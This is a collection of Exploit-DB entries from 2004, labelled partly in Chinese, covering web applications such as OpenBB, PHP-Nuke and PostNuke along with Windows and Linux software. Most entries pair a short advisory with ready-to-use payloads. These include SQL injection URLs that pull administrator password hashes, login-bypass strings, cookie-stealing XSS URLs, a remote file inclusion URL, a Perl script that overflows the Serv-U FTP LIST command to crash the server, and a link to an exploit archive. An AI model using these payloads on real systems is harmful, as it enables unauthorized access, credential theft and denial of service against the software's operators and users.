QLWD/code_shield huggingface dataset:
标题: OpenBB 1.0.x - 'member.php' Multiple SQL Injections EDB-ID: 24057 CVE: 2004-1966 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/10214/info
     
It has been reported that OpenBB is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
     
The SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
     
The cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/member.php?action=list&page=1&sortorder=[SQL]
http://www.example.com/member.php?action=list&page=1&sortorder=username&perpage=[SQL]
http://www.example.com/member.php?action=passwdsend&resetid=blah&id=2[SQL] URL: https://www.exploit-db.com/exploits/24057
标题: Microsoft Windows XP/2000/NT 4.0 - Shell Long Share Name Buffer Overrun EDB-ID: 24051 CVE: 2004-0214 类型: DOS 平台: WINDOWS 发布日期: 2004-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/10213/info

Microsoft Windows operating systems have been reported to be prone to a remotely exploitable buffer overrun condition. 

This issue is exposed when a client attempts to connect to an SMB share with an overly long name. This may cause explorer.exe or Internet Explorer to crash but could also potentially be leveraged to execute arbitrary code as the client user.

[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
comment = Area 51
path = /tmp/testfolder
public = yes
writable = yes
printable = no
browseable = yes
write list = @trymywingchung URL: https://www.exploit-db.com/exploits/24051
标题: OpenBB 1.0.x - 'myhome.php?to' Cross-Site Scripting EDB-ID: 24053 CVE: 2004-1965 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/10214/info
 
It has been reported that OpenBB is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
 
The SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
 
The cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/myhome.php?action=newmsg&to=blah[XSS] URL: https://www.exploit-db.com/exploits/24053
标题: Advanced Guestbook 2.2 - 'Password' SQL Injection EDB-ID: 24050 CVE: 2004-1952 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/10209/info

It has been reported that Advanced Guestbook is prone to a SQL injection vulnerability that could allow an attacker to gain administrative access to the application.

This issue is reported to exist in Advanced Guestbook 2.2, however, it is possible that other versions are affected as well.

JQ <idiosyncrasie@xs4all.nl> explains that it is possible to trigger this issue by leaving the username entry blank and entering the following string in the password field:

') OR ('a' = 'a

Spy Hat <spyhat@spyhat.com> comments that it is also possible to leverage this issue by leaving the password field blank and entering the following string into the username field:

? or 1=1 -- URL: https://www.exploit-db.com/exploits/24050
标题: Protector System 1.15 - 'blocker_query.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 24048 CVE: 2004-1960 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/10206/info
 
Multiple vulnerabilities were reported to exist in Protector System, which is a third-party module for PHP-Nuke. Cross-site scripting and SQL injection vulnerabilities were reported.
 
Exploitation of these issues may reveal sensitive information, allow for account hijacking, content manipulation and attacks against the underlying database.
 
These issues were reported to exist in Protector System 1.15b1. Other versions may also be affected.

http://www.example.com/nuke72/admin/modules/blocker_query.php?target=foobar.com">[xss code here]
http://www.example.com/nuke72/admin/modules/blocker_query.php?target=foobar.com&queryType=all&portNum=foobar[xss code here] URL: https://www.exploit-db.com/exploits/24048
标题: OpenBB 1.0.x - 'search.php?q' SQL Injection EDB-ID: 24058 CVE: 2004-1966 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/10214/info
      
It has been reported that OpenBB is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
      
The SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
      
The cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/search.php?&sortby=dateline&sort=DESC&q=open&forums%5B[SQL]%5D URL: https://www.exploit-db.com/exploits/24058
标题: OpenBB 1.0.x - 'member.php?redirect' Cross-Site Scripting EDB-ID: 24052 CVE: 2004-1965 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/10214/info

It has been reported that OpenBB is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.

The SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.

The cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/member.php?action=login&redirect=[XSS] URL: https://www.exploit-db.com/exploits/24052
标题: PHP-Nuke 7.2 Multiple Video Gallery Module - SQL Injection EDB-ID: 24060 CVE: 2004-1972 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/10215/info

Reportedly the PHP-Nuke Video Gallery module is affected by multiple SQL injection vulnerabilities. This is due to a failure of the application to properly sanitize user-supplied input prior to using it in an SQL query.

These issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1
http://www.example.com/modules.php?name=Video_Gallery&l_op=viewcat&catid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors
http://www.example.com/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20name%20FROM%20nuke_authors&catid=1
http://www.example.com/modules.php?name=Video_Gallery&l_op=voteclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1 URL: https://www.exploit-db.com/exploits/24060
标题: OpenBB 1.0.x - 'post.php' Multiple SQL Injections EDB-ID: 24059 CVE: 2004-1966 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/10214/info
      
It has been reported that OpenBB is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
      
The SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
      
The cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/post.php?action=edit&page=1&PID=1[SQL]
http://www.example.com/post.php?action=post&FID=1[SQL] URL: https://www.exploit-db.com/exploits/24059
标题: Protector System 1.15 b1 - 'index.php' SQL Injection EDB-ID: 24047 CVE: 2004-1962 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/10206/info

Multiple vulnerabilities were reported to exist in Protector System, which is a third-party module for PHP-Nuke. Cross-site scripting and SQL injection vulnerabilities were reported. 

Exploitation of these issues may reveal sensitive information, allow for account hijacking, content manipulation and attacks against the underlying database.

These issues were reported to exist in Protector System 1.15b1. Other versions may also be affected.

http://www.example.com/nuke72/index.php?foobar%27,IF(ord(mid(USER(),1,1))%3d114,benchmark(500000,md5(1337)),1),2)/*
http://www.example.com/nuke72/index.php?foo=bar%20U/**/NION%20SELECT%20ALL%20FROM%20WHERE
http://www.example.com/nuke72/index.php?foo=bar%20UNION%20SELECT%20ALL%20FROM%20WHERE URL: https://www.exploit-db.com/exploits/24047
标题: Xine 0.9.x and Xine-Lib 1 - Multiple Remote File Overwrite Vulnerabilities EDB-ID: 24038 CVE: 2004-1951 类型: REMOTE 平台: LINUX 发布日期: 2004-04-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/10193/info

It has been reported that the xine media player and the xine media library are affected by multiple remote file overwrite vulnerabilities. This is due to a design error that allows various media resource file configurations to write to arbitrary files.

It is possible to set these configuration parameters to write to arbitrary files on the affected system. It should be noted that this issue, as it is currently known, only affects Sun based systems as well as those using the DXR3 or Hollywood+ MPEG decoder audio card. It has been conjectured however that similar configuration parameters exists that affect other systems.

The configuration syntax:

"cfg:/audio.sun_audio_device:targetFile" 

If followed by the entry:

"http://www.example.com/attackerSpecifiedFile"

Will cause the attacker specified file to be written to the target file. URL: https://www.exploit-db.com/exploits/24038
标题: PHProfession 2.5 - 'upload.php' Direct Request Full Path Disclosure EDB-ID: 24035 CVE: 2004-1953 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/10190/info
 
Multiple vulnerabilities were reported to exist in phProfession, which is a third-party module for PostNuke. Path disclosure, cross-site scripting and SQL injection vulnerabilities were reported.
 
Exploitation of these issues may reveal sensitive information, allow for account hijacking, content manipulation and attacks against the underlying database.
 
These issues were reported to exist in phProfession 2.5. Other versions may also be affected.

http://www.example.com/postnuke0726/modules/phprofession/upload.php URL: https://www.exploit-db.com/exploits/24035
标题: Multiple Vendor - TCP Sequence Number Approximation (3) EDB-ID: 24032 CVE: 2004-0230 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/10183/info
  
A vulnerability in TCP implementations may permit unauthorized remote users to reset TCP sessions. This issue affects products released by multiple vendors. Exploiting this issue may permit remote attackers to more easily approximate TCP sequence numbers.
  
The problem is that affected implementations will accept TCP sequence numbers within a certain range of the expected sequence number for a packet in the session. This will permit a remote attacker to inject a SYN or RST packet into the session, causing it to be reset and effectively allowing denial-of-service attacks. An attacker would exploit this issue by sending a packet to a receiving implementation with an approximated sequence number and a forged source IP and TCP port.
  
Few factors may present viable target implementations, such as imlementations that:
  
- depend on long-lived TCP connections
- have known or easily guessed IP address endpoints
- have known or easily guessed TCP source ports.
  
Note that Border Gateway Protocol (BGP) is reported to be particularly vulnerable to this type of attack. As a result, this issue is likely to affect a number of routing platforms.
  
Note also that while a number of vendors have confirmed this issue in various products, investigations are ongoing and it is likely that many other vendors and products will turn out to be vulnerable as the issue is investigated further.
  
Other consequences may also result from this issue, such as injecting specific data in TCP sessions, but this has not been confirmed.
  
**Update: Microsoft platforms are also reported prone to this vulnerability. Vendor reports indicate that an attacker will require knowledge of the IP address and port numbers of the source and destination of an existent legitimate TCP connection in order to exploit this vulnerability on Microsoft platforms. Connections that involve persistent sessions, for example Border Gateway Protocol sessions, may be more exposed to this vulnerability than other TCP/IP sessions.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24032.tgz URL: https://www.exploit-db.com/exploits/24032
标题: PHProfession 2.5 - 'modules.php?jcode' Cross-Site Scripting EDB-ID: 24036 CVE: 2004-1954 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/10190/info
  
Multiple vulnerabilities were reported to exist in phProfession, which is a third-party module for PostNuke. Path disclosure, cross-site scripting and SQL injection vulnerabilities were reported.
  
Exploitation of these issues may reveal sensitive information, allow for account hijacking, content manipulation and attacks against the underlying database.
  
These issues were reported to exist in phProfession 2.5. Other versions may also be affected.

http://www.example.com/postnuke0726/modules.php?op=modload&name=phprofession&file=upload&jcode=[xss code here] URL: https://www.exploit-db.com/exploits/24036
标题: PostNuke Phoenix 0.726 - 'openwindow.php?hlpfile' Cross-Site Scripting EDB-ID: 24037 CVE: 2004-1957 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/10191/info

Multiple vulnerabilities were reported to exist in PostNuke Phoenix. The following specific vulnerabilities were reported: 

- Multiple path disclosure vulnerabilities that occur when a user directly requests scripts in the "/includes/blocks/" and "pnadodb" directories. This issue also affects scripts that are associated in multiple modules.

- Multiple cross-site scripting vulnerabilities were reported in the Downloads and Web_Links modules as well as the openwindow.php script. These issues may permit remote attackers to cause hostile HTML and script code to be interpreted by a victim user's browser.

http://www.example.com/postnuke0726/javascript/openwindow.php?hlpfile=x<html><body>[xss code here]
http://www.example.com/postnuke0726/javascript/openwindow.php?hlpfile=x<html><body%20onload=alert(document.cookie);> URL: https://www.exploit-db.com/exploits/24037
标题: PHProfession 2.5 - 'modules.php?offset' SQL Injection EDB-ID: 24034 CVE: 2004-1955 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/10190/info

Multiple vulnerabilities were reported to exist in phProfession, which is a third-party module for PostNuke. Path disclosure, cross-site scripting and SQL injection vulnerabilities were reported. 

Exploitation of these issues may reveal sensitive information, allow for account hijacking, content manipulation and attacks against the underlying database.

These issues were reported to exist in phProfession 2.5. Other versions may also be affected.


http://www.example.com/postnuke0726/modules.php?op=modload&name=phprofession&file=index&offset=foobar URL: https://www.exploit-db.com/exploits/24034
标题: RhinoSoft Serv-U FTP Server 3.x/4.x/5.0 - 'LIST' Buffer Overflow EDB-ID: 24029 CVE: 2004-1992 类型: DOS 平台: WINDOWS 发布日期: 2004-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/10181/info

Reportedly Serv-U is affected by a remote buffer overflow vulnerability in the list parameter. This issue is due to a failure of the application to properly validate buffer boundaries during processing of user input.

Successful exploitation would immediately produce a denial of service condition in the affected process. This issue may also be leveraged to execute code on the affected system with the privileges of the user that invoked the vulnerable application, although this has not been confirmed.

#!/usr/bin/perl

use IO::Socket;

$host = "www.example.com";

$remote = IO::Socket::INET->new ( Proto => "tcp",
     PeerAddr => $host,
     PeerPort => "2116",
    );

unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connected\n";
while (<$remote>)
{
 print $_;
 if (/220 /)
 {
  last;
 }
}

$remote->autoflush(1);

my $ftp = "USER anonymous\r\n";

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/331 /)
 {
  last;
 }
}

$ftp = join("", "PASS ", "a\@b.com", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/230 /)
 {
  last;
 }
}

my $ftp = join ("", "LIST -l:", "A"x(134), "\r\n");

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/250 Done/)
 {
  last;
 }
}

close $remote; URL: https://www.exploit-db.com/exploits/24029
标题: phpBB 2.0.x - 'album_portal.php' Remote File Inclusion EDB-ID: 24026 CVE: 2004-1943 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/10177/info

It has been reported that phpBB may be prone to a file include vulnerability that may allow remote attackers to include a remote malicious script to be executed on a vulnerable system.

http://www.example.com/album_portal.php?phpbb_root_path=http://www.example.com/&phpEx=/../../[example.php] URL: https://www.exploit-db.com/exploits/24026
标题: Phorum 3.4.x - Phorum_URIAuth SQL Injection EDB-ID: 24016 CVE: 2004-1938 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/10173/info

Reportedly Phorum is affected by a remote SQL injection vulnerability. This issue is due to a failure of the application to properly sanitized user supplied URI input.

This issue may allow a remote attacker to manipulate query logic, leading to unauthorized access to sensitive information such as the user password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?modname=saf&id=4 URL: https://www.exploit-db.com/exploits/24016
标题: Softwin BitDefender - AvxScanOnlineCtrl COM Object Information Disclosure EDB-ID: 24025 CVE: 2004-1947 类型: REMOTE 平台: WINDOWS 发布日期: 2004-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/10175/info

Reportedly the BitDefender AvxScanOnlineCtrl COM object is affected by an information disclosure vulnerability. This issue is due to a design error that allows a remote user to execute a method in the offending object that provides access to unauthorized information.

This issue would allow an attacker to gain access system information that may be used to aid in further attacks.

<OBJECT id=seemycomputer
codeBase=http://www.bitdefender.com/scan/Msie/bitdefender.cab#version=3,0,0,
1
hspace=0 vspace=0 align="top"
classid=CLSID:80DD2229-B8E4-4C77-B72F-F22972D723EA
width=405 height=180>
<PARAM NAME="_ExtentX" VALUE="6614">
<PARAM NAME="_ExtentY" VALUE="4498">
<PARAM NAME="_StockProps" VALUE="9">
<PARAM NAME="ForeColor" VALUE="0">
<PARAM NAME="BackColor" VALUE="16777215"></OBJECT> URL: https://www.exploit-db.com/exploits/24025
标题: UTempter 0.5.x - Multiple Local Vulnerabilities EDB-ID: 24027 CVE: 2004-0233 类型: LOCAL 平台: LINUX 发布日期: 2004-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/10178/info

It has been reported that utempter is affected by multiple local vulnerabilities. The first issue is due to an input validation error that causes the application to exit improperly; facilitating symbolic link attacks. The second issue is due to a failure of the application to properly validate buffer boundaries.

The first issue results in a symbolic link vulnerability. Since utempter runs with root privileges, this issue could be leveraged to corrupt arbitrary, attacker-specified system files.

The second problem presents itself when utempter processes certain strings. These errors may cause the affected process to crash. It has been conjectured that this may be leveraged to execute arbitrary code on the affected system, however this is currently unverified.

An attacker would create the following symbolic link that references an arbitrary system file:

/tmp/tty0

The attacker would then provide the following device descriptor string to the application:

/dev/../tmp/tty0 URL: https://www.exploit-db.com/exploits/24027